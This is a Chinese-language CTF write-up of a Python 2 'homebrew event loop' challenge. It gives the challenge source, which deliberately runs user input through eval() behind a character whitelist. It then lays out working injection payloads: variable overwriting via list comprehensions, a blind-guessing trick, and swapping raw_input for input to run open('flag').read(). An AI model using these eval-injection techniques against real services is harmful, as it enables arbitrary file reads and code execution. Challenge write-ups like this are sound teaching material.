#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'
# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)
# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'
这个题目第一眼看着和 DDCTF 里面的 homebrew event loop
题目很像(名字都很像),为方便测试将 PoW 函数直接 return
梳理
先梳理下流程
- 验证码验证,由 sha1 随机生成
- 切换标准输入输出为 None,可再次使用此函数切换回来;在 None 的情况下无法进行下一轮输入
- 使用114514分割 event: str 和 args: list
- event 会被 eval 执行
同时需要注意的地方
- 输入被过滤,只能输入数字、大小写字母、下划线、中括号
- 两个 flag 最后均存在 session[‘log’] 中
- flag2:func 被注释,但指明了需要实现文件读取
整个题目中能控制的就是 event、args,其中 event 会被 eval 处理一遍,一般这里会存在 eval 滥用的情况导致 bypass 执行恶意表达式,但是由于被限制了可输入字符集,所以不能直接使用 eval
但是假如将 event 故意设置为 input 函数呢,input(args)会在终端中返回 args 的字符串内容,比如
$ input114514bug
['bug']exception
那如果进一步延伸一下,假如可以使得 event->input 以及 args->session[‘log’],那这样输出就为 session[‘log’]中的内容即 flag 了
想到了什么?变量覆盖!
变量覆盖
在 python 中,在 for 循环中很容易发现变量覆盖的影子
>>> i = 0
>>> for i in range(2):
... pass
...
>>> i
1
>>>
有时为简化而使用列表生成式
>>> [i for i in range(10)]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>>
但是这里需要用到空格,需要绕过,既然题目中给了[]
,那就利用起来
>>> i = 0
>>> [[i]for[i]in[[1]]]
[[1]]
>>> i
1
>>>
同时将列表生成式用于返回想要的函数,如目标函数为 input,有
>>> [[input]for[i]in[[1]]][0]
[<built-in function input>]
>>> [[input]for[i]in[[1]]][0][0]
<built-in function input>
Flag1
由于题目中最终变量为args,目标变量为 session,所以有以下
$ [[input]for[args]in[[session]]][0][0]114514x
{'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}exception
$ lost sys.stderr
而官方预期解法使用的类似于盲注的技巧
$ session[args[0]][5]in[event[83]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log
exception
$ lost sys.stderr
$ session[args[0]][5]in[event[84]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log
lost sys.stderr
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
相当于session['log'][5] in [abc..J..890][35] and dir()
,为假报错,为真显示dir()
内容
Flag2
由于switch_safe_mode
函数导致无法进行多轮输入,所以先考虑如何绕过,这里有两种方法,优先第二种,毕竟第一种方法还要重新算验证码
# 重载 sys 恢复当前标准输入输出,这样ctx['io_pair']以及当前输入输出均正常,切换不影响
[[reload][0]for[args]in[[sys]]][0]114514x
# 替换 PoW 为切换函数,可认为负负得正->未修改标准输入输出
[[str]for[PoW]in[[switch_safe_mode]]][0]114514x
这时候还是要考虑如何实现 load_flag_handler 函数,但是对应的 flag2 函数中的读取代码被注释掉了,如果要使用覆盖到 session[‘log’] 中由于读取函数或多会少都需要用到'
符号,只有想办法在过滤前就实现
注意到使用了raw_input
函数
Python2.x 中 input() 相等于 eval(raw_input(prompt)),用来获取控制台的输入。
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型
所以通过替换raw_input
为input
就可以执行在过滤前后分别执行一次 eval
$ [[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0]114514x
exception
相当于
PoW = switch_safe_mode
raw_input = input
str(x)
两次 eval 目的为:
- 第一次 eval 读取 flag 到 sessions 中
- 第二次 eval 类似 flag1 中的操作进行输出
$ ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]
*ctf{pYth0n2-f3@tur3_R19ht?}
相当于
event = raw_input() # ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]
event = eval(event) # event = '[[str][0]for[args]in[[session]]][0]114514'; session = 'flag...'
event, args = event.split('114514')
args = args.split('114514')
handler = eval(event) # handler = str; args = session
print handler(args) # str(session)